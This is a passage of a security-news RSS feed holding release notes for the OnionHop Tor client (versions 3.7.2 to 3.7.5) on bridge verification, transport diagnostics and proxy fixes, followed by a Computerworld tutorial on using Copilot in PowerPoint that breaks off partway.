<li><strong>Bridge scanner verifies webtunnel for real.</strong> The scanner now confirms a webtunnel bridge with an actual handshake (a WebSocket upgrade to the bridge's own endpoint, which must return 101) instead of only checking that its CDN front answered on 443. A dead webtunnel bridge whose front is still up is now correctly shown as unreachable, so a scanned webtunnel list no longer marks bridges as working when Tor cannot connect through them (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4860810567" data-permission-text="Title is private" data-url="https://github.com/center2055/OnionHop/issues/74" data-hovercard-type="issue" data-hovercard-url="/center2055/OnionHop/issues/74/hovercard" href="https://github.com/center2055/OnionHop/issues/74">#74</a>).</li>
<li><strong>Transport start failures now say why.</strong> When a pluggable transport could not run, Tor only reported an opaque "Managed proxy ... terminated with status code 2", which hid the real cause (this is what made obfs4 and snowflake "connect then immediately fail" for some users). The app now preflights each transport binary and logs the actual reason, a crash, a wrong-architecture binary, a missing execute bit, and so on, so the problem is diagnosable instead of opaque (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4860810567" data-permission-text="Title is private" data-url="https://github.com/center2055/OnionHop/issues/74" data-hovercard-type="issue" data-hovercard-url="/center2055/OnionHop/issues/74/hovercard" href="https://github.com/center2055/OnionHop/issues/74">#74</a>).</li>
</ul>
<h3>Downloads</h3>
<table>
<thead>
<tr>
<th align="left">Platform</th>
<th align="left">File</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Windows installer</td>
<td align="left"><code>OnionHop-Setup-v3.exe</code></td>
</tr>
<tr>
<td align="left">Windows portable</td>
<td align="left"><code>OnionHopV3-Portable-3.7.2-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Windows CLI</td>
<td align="left"><code>OnionHop-CLI-Setup-3.7.2.exe</code> / <code>OnionHopCLI-Portable-3.7.2-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Linux</td>
<td align="left"><code>OnionHop-x86_64.AppImage</code></td>
</tr>
<tr>
<td align="left">Linux CLI</td>
<td align="left"><code>OnionHopCLI-3.7.2-linux-x64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS (Apple Silicon)</td>
<td align="left"><code>OnionHop-3.7.2-macOS-arm64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS (Intel)</td>
<td align="left"><code>OnionHop-3.7.2-macOS-x64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Apple Silicon)</td>
<td align="left"><code>OnionHopCLI-3.7.2-macos-arm64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Intel)</td>
<td align="left"><code>OnionHopCLI-3.7.2-macos-x64.tar.gz</code></td>
</tr>
</tbody>
</table>]]></content:encoded>
</item>
<item>
<title><![CDATA[OnionHop 3.7.3]]></title>
<description><![CDATA[A small diagnostics release: when bridges are reachable but the transport still can't connect, the log now points at the likely cause.
Fixed

Clearer log when the transport can't reach reachable bridges. If a bridged connect fails after the reachability scan found bridges reachable but the transp...]]></description>
<link>https://tsecurity.de/de/3687272/it-security-tools/onionhop-373/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687272/it-security-tools/onionhop-373/</guid>
<pubDate>Wed, 22 Jul 2026 20:29:09 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A small diagnostics release: when bridges are reachable but the transport still can't connect, the log now points at the likely cause.</p>
<h3>Fixed</h3>
<ul>
<li><strong>Clearer log when the transport can't reach reachable bridges.</strong> If a bridged connect fails after the reachability scan found bridges reachable but the transport could not connect to any of them, the log now names the likely cause: a firewall or security tool blocking OnionHop's transport helper (lyrebird / webtunnel-client), or bridges that are dead at the protocol layer. Previously this appeared only as an unexplained wall of "general SOCKS server failure" (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4860810567" data-permission-text="Title is private" data-url="https://github.com/center2055/OnionHop/issues/74" data-hovercard-type="issue" data-hovercard-url="/center2055/OnionHop/issues/74/hovercard" href="https://github.com/center2055/OnionHop/issues/74">#74</a>).</li>
</ul>
<h3>Downloads</h3>
<table>
<thead>
<tr>
<th align="left">Platform</th>
<th align="left">File</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Windows installer</td>
<td align="left"><code>OnionHop-Setup-v3.exe</code></td>
</tr>
<tr>
<td align="left">Windows portable</td>
<td align="left"><code>OnionHopV3-Portable-3.7.3-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Windows CLI</td>
<td align="left"><code>OnionHop-CLI-Setup-3.7.3.exe</code> / <code>OnionHopCLI-Portable-3.7.3-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Linux</td>
<td align="left"><code>OnionHop-x86_64.AppImage</code></td>
</tr>
<tr>
<td align="left">Linux CLI</td>
<td align="left"><code>OnionHopCLI-3.7.3-linux-x64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS (Apple Silicon)</td>
<td align="left"><code>OnionHop-3.7.3-macOS-arm64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS (Intel)</td>
<td align="left"><code>OnionHop-3.7.3-macOS-x64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Apple Silicon)</td>
<td align="left"><code>OnionHopCLI-3.7.3-macos-arm64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Intel)</td>
<td align="left"><code>OnionHopCLI-3.7.3-macos-x64.tar.gz</code></td>
</tr>
</tbody>
</table>]]></content:encoded>
</item>
<item>
<title><![CDATA[OnionHop 3.7.4]]></title>
<description><![CDATA[Fixes bridges being silently blocked by per-app firewalls like Little Snitch on macOS.
Fixed

Transport helpers now run from a stable path, so firewalls can allow them (#74). On macOS and Linux, the bridge transport helpers (lyrebird / webtunnel-client) ran from the system temp directory. Per-app...]]></description>
<link>https://tsecurity.de/de/3687271/it-security-tools/onionhop-374/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687271/it-security-tools/onionhop-374/</guid>
<pubDate>Wed, 22 Jul 2026 20:29:08 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Fixes bridges being silently blocked by per-app firewalls like Little Snitch on macOS.</p>
<h3>Fixed</h3>
<ul>
<li><strong>Transport helpers now run from a stable path, so firewalls can allow them (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4860810567" data-permission-text="Title is private" data-url="https://github.com/center2055/OnionHop/issues/74" data-hovercard-type="issue" data-hovercard-url="/center2055/OnionHop/issues/74/hovercard" href="https://github.com/center2055/OnionHop/issues/74">#74</a>).</strong> On macOS and Linux, the bridge transport helpers (lyrebird / webtunnel-client) ran from the system temp directory. Per-app firewalls like Little Snitch identify a process by its executable path, so a helper in a periodically-purged temp folder never got a durable allow rule and could be silently denied without ever prompting - every bridge then failed with "general SOCKS server failure" even with an "allow all" rule for OnionHop itself. The helpers now run from a stable per-user location (<code>~/Library/Caches/onionhop-pt</code> on macOS, <code>~/.cache/onionhop-pt</code> on Linux), so the firewall can prompt once and remember the answer, the same way it does for Tor Browser's bundled lyrebird. The stale-transport cleanup at connect time now also covers helpers running from that directory.</li>
</ul>
<h3>Downloads</h3>
<table>
<thead>
<tr>
<th align="left">Platform</th>
<th align="left">File</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Windows installer</td>
<td align="left"><code>OnionHop-Setup-v3.exe</code></td>
</tr>
<tr>
<td align="left">Windows portable</td>
<td align="left"><code>OnionHopV3-Portable-3.7.4-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Windows CLI</td>
<td align="left"><code>OnionHop-CLI-Setup-3.7.4.exe</code> / <code>OnionHopCLI-Portable-3.7.4-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Linux</td>
<td align="left"><code>OnionHop-x86_64.AppImage</code></td>
</tr>
<tr>
<td align="left">Linux CLI</td>
<td align="left"><code>OnionHopCLI-3.7.4-linux-x64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS (Apple Silicon)</td>
<td align="left"><code>OnionHop-3.7.4-macOS-arm64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS (Intel)</td>
<td align="left"><code>OnionHop-3.7.4-macOS-x64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Apple Silicon)</td>
<td align="left"><code>OnionHopCLI-3.7.4-macos-arm64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Intel)</td>
<td align="left"><code>OnionHopCLI-3.7.4-macos-x64.tar.gz</code></td>
</tr>
</tbody>
</table>]]></content:encoded>
</item>
<item>
<title><![CDATA[OnionHop 3.7.5]]></title>
<description><![CDATA[Quieter, faster obfs4 connects, and fixes browsing in TUN/VPN mode when a stale proxy was left behind.
Fixed

obfs4 bridges are now verified with a real handshake before connecting. The pre-connect scan used to only TCP-test obfs4, so bridges that were dead or blocked at the obfs4 layer still got...]]></description>
<link>https://tsecurity.de/de/3687270/it-security-tools/onionhop-375/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687270/it-security-tools/onionhop-375/</guid>
<pubDate>Wed, 22 Jul 2026 20:29:06 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Quieter, faster obfs4 connects, and fixes browsing in TUN/VPN mode when a stale proxy was left behind.</p>
<h3>Fixed</h3>
<ul>
<li><strong>obfs4 bridges are now verified with a real handshake before connecting.</strong> The pre-connect scan used to only TCP-test obfs4, so bridges that were dead or blocked at the obfs4 layer still got handed to Tor, producing a wall of "general SOCKS server failure" warnings and a long pause before it connected. The app now drives the bundled obfs4 client to complete the actual handshake and drops the ones that fail, so connecting is faster and the log is far quieter (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4860810567" data-permission-text="Title is private" data-url="https://github.com/center2055/OnionHop/issues/74" data-hovercard-type="issue" data-hovercard-url="/center2055/OnionHop/issues/74/hovercard" href="https://github.com/center2055/OnionHop/issues/74">#74</a>). If the check cannot run or nearly everything fails (for example the whole set is blocked from your network), it safely falls back to the previous behavior.</li>
<li><strong>Fixed "connected but no websites load" in TUN/VPN mode on Windows</strong> (browser showed ERR_PROXY_CONNECTION_FAILED). If an earlier session had crashed or been force-closed while the system proxy was applied, Windows kept that proxy enabled, pointing browsers at a port from that dead session; TUN mode never corrected it. The app now clears a leftover proxy that matches its own format at connect time, and in TUN mode it logs a clear note if some other system proxy is enabled. Third-party proxy settings are never touched.</li>
</ul>
<h3>Downloads</h3>
<table>
<thead>
<tr>
<th align="left">Platform</th>
<th align="left">File</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Windows installer</td>
<td align="left"><code>OnionHop-Setup-v3.exe</code></td>
</tr>
<tr>
<td align="left">Windows portable</td>
<td align="left"><code>OnionHopV3-Portable-3.7.5-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Windows CLI</td>
<td align="left"><code>OnionHop-CLI-Setup-3.7.5.exe</code> / <code>OnionHopCLI-Portable-3.7.5-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Linux</td>
<td align="left"><code>OnionHop-x86_64.AppImage</code></td>
</tr>
<tr>
<td align="left">Linux CLI</td>
<td align="left"><code>OnionHopCLI-3.7.5-linux-x64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS (Apple Silicon)</td>
<td align="left"><code>OnionHop-3.7.5-macOS-arm64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS (Intel)</td>
<td align="left"><code>OnionHop-3.7.5-macOS-x64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Apple Silicon)</td>
<td align="left"><code>OnionHopCLI-3.7.5-macos-arm64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Intel)</td>
<td align="left"><code>OnionHopCLI-3.7.5-macos-x64.tar.gz</code></td>
</tr>
</tbody>
</table>]]></content:encoded>
</item>
<item>
<title><![CDATA[Here’s how to ask Gemini Live for help with anything you see.]]></title>
<description><![CDATA[Have you ever struggled to describe something you’re looking at? Whether it’s a complex manual, a blinking error code, or a unique object, sometimes you just need an exp…]]></description>
<link>https://tsecurity.de/de/3687058/it-nachrichten/heres-how-to-ask-gemini-live-for-help-with-anything-you-see/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687058/it-nachrichten/heres-how-to-ask-gemini-live-for-help-with-anything-you-see/</guid>
<pubDate>Wed, 22 Jul 2026 18:48:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img src="https://storage.googleapis.com/gweb-uniblog-publish-prod/images/Ask_Gemini_Live_for_help_with_a.max-600x600.format-webp.webp">Have you ever struggled to describe something you’re looking at? Whether it’s a complex manual, a blinking error code, or a unique object, sometimes you just need an exp…]]></content:encoded>
</item>
<item>
<title><![CDATA[10 cool things Copilot can do in PowerPoint]]></title>
<description><![CDATA[Building a presentation can take lots of time. There are design choices to figure out: the slide layouts, fonts, theme colors, and so on. You can use a template to skip this hassle, but you still have to paste your text and other content into the slides and edit it all so that the results are vis...]]></description>
<link>https://tsecurity.de/de/3686068/it-nachrichten/10-cool-things-copilot-can-do-in-powerpoint/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686068/it-nachrichten/10-cool-things-copilot-can-do-in-powerpoint/</guid>
<pubDate>Wed, 22 Jul 2026 13:05:35 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Building a presentation can take lots of time. There are design choices to figure out: the slide layouts, fonts, theme colors, and so on. You can use a template to skip this hassle, but you still have to paste your text and other content into the slides and edit it all so that the results are visually appealing.</p>



<p class="wp-block-paragraph">In PowerPoint, Microsoft’s Copilot AI assistant can now automate the heavy lifting of presentation creation. It can generate a first-draft presentation in minutes, then help you edit it. You can also prompt Copilot to help you quickly understand the contents of a presentation and glean insights from it. Use the tips in this guide to save oodles of time as you create and work with presentations.</p>



<h3 class="wp-block-heading">Who can use Copilot in PowerPoint</h3>



<p class="wp-block-paragraph">Individuals with a <a href="https://www.microsoft.com/en-us/microsoft-365-copilot/pricing/individuals" target="_blank" rel="noreferrer noopener">Microsoft 365 Personal, Family, or Premium</a> subscription have access to Copilot from within PowerPoint and other Microsoft 365 apps. Users with a Premium plan have <a href="https://support.microsoft.com/en-US/Microsoft-365-Copilot/ai-credits-and-limits-for-microsoft-365-subscriptions" target="_blank" rel="noreferrer noopener">higher Copilot usage allowances</a> and access to advanced AI features.</p>



<p class="wp-block-paragraph">For business users, it’s more complicated. Organizations with more than 2,000 users must pay for <a href="https://www.computerworld.com/article/1629974/m365-copilot-microsofts-generative-ai-tool-explained.html">Microsoft 365 Copilot</a> licenses for their users in addition to their regular Microsoft 365 licenses. Users at organizations with fewer than 2,000 users can use Copilot within M365 apps even without the M365 Copilot add-on licenses, but there are <a href="https://support.microsoft.com/en-us/microsoft-365-copilot/how-copilot-chat-works-with-and-without-a-microsoft-365-copilot-license" target="_blank" rel="noreferrer noopener">limitations</a> in usage, speed, and feature availability.</p>



<p class="wp-block-paragraph">To see what kind of access you have, log in to Microsoft’s <a href="https://m365.cloud.microsoft/" target="_blank" rel="noreferrer noopener">Copilot Chat web hub</a> and look for your name in the lower left corner. If you see “M365 Copilot (Premium)” under your name, you can use Copilot in M365 apps with priority access and advanced features. “M365 Copilot (Basic)” means you can use Copilot in M365 apps with lower-priority access and limited features. If you see “Copilot Chat (Basic)” or nothing below your name, you can’t use Copilot in M365 apps.</p>



<p class="wp-block-paragraph"><em>(Copilot Chat Basic users do get some Copilot functionality, including the ability to generate presentations, via the Copilot Chat hub. See our <a href="https://www.computerworld.com/article/4171293/copilot-chat-your-hub-for-document-creation-and-analysis.html">Copilot Chat tutorial</a> for details.)</em></p>



<h4 class="wp-block-heading"><strong>In this article:</strong></h4>



<ul class="wp-block-list">
<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#sidebar">Working with Copilot in PowerPoint</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#template">Create a presentation template</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#pres-from-doc">Create a presentation from a document</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#slide-from-doc">Add content from a document to a slide</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#refine-text">Refine your slide text</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#image">Find or create an image</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#expand">Expand your presentation with relevant slides</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#summarize">Summarize a presentation</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#answer-questions">Answer questions about a presentation</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#navigate">Help you navigate a large presentation</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#speaker-notes">Generate speaker notes and/or an FAQ</a></li>
</ul>



<h2 class="wp-block-heading">Working with Copilot in PowerPoint</h2>



<p class="wp-block-paragraph">First, let’s quickly go over the notable settings of the Copilot sidebar.</p>



<p class="wp-block-paragraph">When you have a presentation open in PowerPoint, click the Copilot icon; it may be floating at the lower-right corner of your PowerPoint window or parked at the right end of the Ribbon toolbar. The Copilot sidebar will open along the right of the page. You’ll type your prompts to Copilot inside the chat window in this pane.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-01-sidebar.png?w=1024" alt="powerpoint screen with copilot sidebar open on right" class="wp-image-4195065" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>The sidebar on the right is where you interact with Copilot in PowerPOint.</p><br></figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph"><strong>Agent mode:</strong> By default, Copilot can build a new presentation or make changes to an existing one in the main PowerPoint window. This is known as “agent mode.” To change this so that Copilot can’t take direct action on a presentation (all its responses appear in the sidebar), click the <em>Allow editing</em> button above the chat window and change it to <em>Chat only</em>.</p>



<p class="wp-block-paragraph">The tips in this guide require that Copilot be in agent mode, so make sure you see <em>Allow editing</em> above the chat window.</p>



<p class="wp-block-paragraph"><strong>Choice of AI model:</strong> Behind the scenes, Copilot has access to various genAI models, including different versions of Anthropic Claude and OpenAI GPT.  By default, it decides which model to use based on your prompt. You can set it to use a particular model: click <em>Auto</em> at the upper right of the Copilot pane and select a model from the dropdown that opens.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-02-sidebar-model-dropdown.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with models dropdown menu open" class="wp-image-4195063" width="1024" height="697" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>You can choose which AI model you want Copilot to use for a request.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">The tips in this guide should work fine on the default <em>Auto</em> setting. But feel free to experiment switching to specific models to see which give you the best results for particular tasks.</p>



<p class="wp-block-paragraph"><strong>Important:</strong> Remember that <a href="https://www.computerworld.com/article/4059383/openai-admits-ai-hallucinations-are-mathematically-inevitable-not-just-engineering-flaws.html">generative AI output often includes errors</a>, so always check Copilot’s output for accuracy. (Also see our <a href="https://www.computerworld.com/article/4067372/how-to-curb-hallucinations-in-copilot-and-other-genai-tools.html">tips for reducing hallucinations in Copilot</a>.) You’ll likely want to rewrite it in your own voice as you’re reviewing it.</p>



<h2 class="wp-block-heading"><a></a>1. Create a presentation template</h2>



<p class="wp-block-paragraph">For many people, the hardest part of creating a presentation is getting started. What types of information should be included on the slides, and in what order? Copilot can give you a leg up by creating the type of presentation you need, with placeholder data that you can later replace with your own.</p>



<p class="wp-block-paragraph">Start a new presentation, open the Copilot sidebar, and type your prompt into the chat window. It’s best to provide very specific details in your prompt. The more context or details you provide, the more likely Copilot will generate a presentation template that suits your needs.</p>



<p class="wp-block-paragraph">A good prompt should contain the slide count, subject, audience, and tone. Example:</p>



<ul class="wp-block-list">
<li><em>Create a 6-slide presentation for a sales meeting focusing on Q1 revenue. The audience is the sales team, so keep the tone professional and focused on the sales data.</em></li>
</ul>



<p class="wp-block-paragraph">Copilot may ask a series of follow-up questions, such as your preferred visual style and desired level of detail. Then it will generate a presentation template.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-03-generated-presentation-with-placeholder-data.png?w=1024" alt="screenshot of powerpoint presentation generated by copilot with placeholder data" class="wp-image-4195064" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot generates a presentation with placeholder data and explains its elements.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">You can optionally prompt Copilot for revisions, and when you’re happy with the template, swap in your own data.</p>



<h2 class="wp-block-heading"><a></a>2. Create a presentation from a document</h2>



<p class="wp-block-paragraph">You can attach a document (such as a Word document, Excel spreadsheet, or PDF) and prompt Copilot to generate a presentation based on its contents. This works best with a structured-format document (such as a business plan, project proposal, or summary report) that contains sections with headings.</p>



<p class="wp-block-paragraph">Copilot can extract the document’s text and structure to generate the slide content for the new presentation. This can especially be useful for quickly turning a long report into a visually appealing presentation.</p>



<p class="wp-block-paragraph">In the Copilot pane, click the <em>+</em> icon at the bottom of the chat window. A list of documents that you’ve recently accessed appears. Select the one that you want Copilot to use. Alternatively, click the magnifying glass icon and inside its search box, type a few letters of the filename for the document you want. (Business users with an M365 Copilot license can select up to five files for Copilot to pull from when creating a presentation.)</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-04-attach-document.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with a document being attached for copilot to base a presentation on" class="wp-image-4195062" width="1024" height="733" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Attaching a document for Copilot to base a presentation on.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Then in the chat window, you can enter a prompt that’s as simple as “<em>Create a presentation</em>,” although as always, providing more details and context is better. This is especially important for corporate users who reference multiple source files. It’s useful to tell Copilot what data to pull from each document.</p>



<p class="wp-block-paragraph">Answer any follow-up questions that Copilot asks, and it will then generate the presentation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-05-generated-presentation-from-doc.png?w=1024" alt="screenshot of powerpoint with a presentation generated by copilot from a document" class="wp-image-4195067" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot has generated a professional presentation from a social media marketing campaign document.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Note: Your marketing department may have created one or more <a href="https://support.microsoft.com/en-US/PowerPoint/copilot/keep-your-presentation-on-brand-with-copilot" target="_blank" rel="noreferrer noopener">branded company templates for Copilot to work from</a>. If that’s the case at your organization, simply open the appropriate company template as your first step. Then you can upload docs and type a prompt as described above. Copilot will create a presentation using the branded template.</p>



<h2 class="wp-block-heading"><a></a>3. Add content from a document to a slide</h2>



<p class="wp-block-paragraph">Manually copying text or other content from a document and pasting it into a new slide is a chore. Instead, you can prompt Copilot to extract information directly from a Word document, Excel spreadsheet, or PDF to create new slides.</p>



<p class="wp-block-paragraph">In the Copilot pane, attach the document using the same steps described in tip 2, then tell Copilot to create a slide from the document. As always, it helps to provide details such as the new slide’s focus or what data to include:</p>



<ul class="wp-block-list">
<li><em>Add a slide based on the attached document.</em></li>



<li><em>Use the attached file to add a slide about the project budget that focuses on Q1 projections.</em></li>



<li><em>Summarize only the financial section of the attached document as a slide.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-06-generated-slide-from-spreadsheet.png?w=1024" alt="screenshot of a slide in powerpoint generated by copilot from spreadsheet data" class="wp-image-4195068" width="1024" height="612" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>A new Copilot-generated slide based on data from an Excel spreadsheet.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading"><a></a><a></a>4. Refine your slide text</h2>



<p class="wp-block-paragraph">A presentation should be visual and display only the core message. Conciseness and proper writing tone are essential for your slides, so that they don’t lose the attention of your audience.</p>



<p class="wp-block-paragraph">You can prompt Copilot to refine text on an individual slide in various ways, such as rewriting it in a more professional tone or making it more concise. Highlight the text inside a text box on the slide. On the toolbar that appears over the highlighted text, click <em>Edit with Copilot</em>.</p>



<p class="wp-block-paragraph">On the menu that opens, you can select a preset prompt to refine the text, such as <em>Condense</em> or <em>Make professional</em>. Or, at the top of this menu, you can type a prompt to rewrite the highlighted text.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-07-refine-slide-text-options-menu.png" alt="screenshot of text on a powerpoint slide with copilot dropdown menu includng condense and make professional options" class="wp-image-4195066" width="960" height="690" sizes="auto, (max-width: 960px) 100vw, 960px"><figcaption class="wp-element-caption"><p>Choose a preset prompt for refining text on a slide or type in your own prompt.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Note that this feature affects all the text inside the text box. To rewrite only a portion of text inside a text box, you must split that portion out into a separate text box.</p>



<p class="wp-block-paragraph">Alternatively, you can prompt Copilot to analyze your entire presentation and tighten up the wording throughout all of its slides. For example:</p>



<ul class="wp-block-list">
<li><em>Make these slides more visual and use less text.</em></li>
</ul>



<h2 class="wp-block-heading">5. Find or create an image</h2>



<p class="wp-block-paragraph">If you have Copilot generate a presentation from an existing Word document that contains images, it will incorporate those images into the presentation. If there are no images in the source document, you can ask Copilot to find or create one and add it to a slide.</p>



<p class="wp-block-paragraph">To add a stock image or an image from your organization’s brand library, tell Copilot what you’re looking for:</p>



<ul class="wp-block-list">
<li><em>Add a stock photo of young adults in a cafe drinking boba tea.</em></li>



<li><em>Add a photo from our asset library of young adults in a cafe drinking boba tea.</em></li>
</ul>



<p class="wp-block-paragraph">To have Copilot create an image using Microsoft’s Designer image generation tool, describe your desired image. As always, specificity is helpful:</p>



<ul class="wp-block-list">
<li><em>Create a photorealistic image of a diverse group of 5 or 6 fashionable young adults sitting in a cafe drinking boba tea. They’re smiling or laughing, and some are looking at their phones.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-08-generate-image.png?w=1024" alt="screenshot of image generation prompt in copilot sidebar in powerpoint plus the resulting generated image on a slide" class="wp-image-4195097" width="1024" height="594" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot in PowerPoint hooks into Microsoft’s Designer tool for image generation.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Just as you need to review any text output from Copilot, take a close look at generated images to be sure nothing looks off. </p>



<p class="wp-block-paragraph">Also note that Copilot image generation isn’t always reliable in PowerPoint. For some time during our testing for this story, Copilot said it couldn’t create an image because “the image generation service is returning a server error on every attempt.” After about a day and a half, the service began working again.</p>



<h2 class="wp-block-heading"><a></a>6. Expand your presentation with relevant slides</h2>



<p class="wp-block-paragraph">As you’re building your presentation, you may find that it’s become text heavy. Or perhaps it could use more visually oriented slides to break things up and make its progression flow better. Copilot can generate and insert new slides that are based on the content of the slides already in the presentation.</p>



<p class="wp-block-paragraph">In the Copilot pane, specify exactly where you want the new slide to go. This helps Copilot to analyze the content of the slides before and after where you want the new slide. Then it can generate a slide to bridge between the two slides. Examples:</p>



<ul class="wp-block-list">
<li><em>Add a slide after slide 3 about our competitive advantages.</em></li>



<li><em>Add a slide after slide 11 that transitions to slide 12.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-09-generated-transition-slide.png?w=1024" alt="screenshot of powerpoint screen with copilot sidebar and a transition slide generated by copilot" class="wp-image-4195094" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Need a transition slide? Just ask!</p>
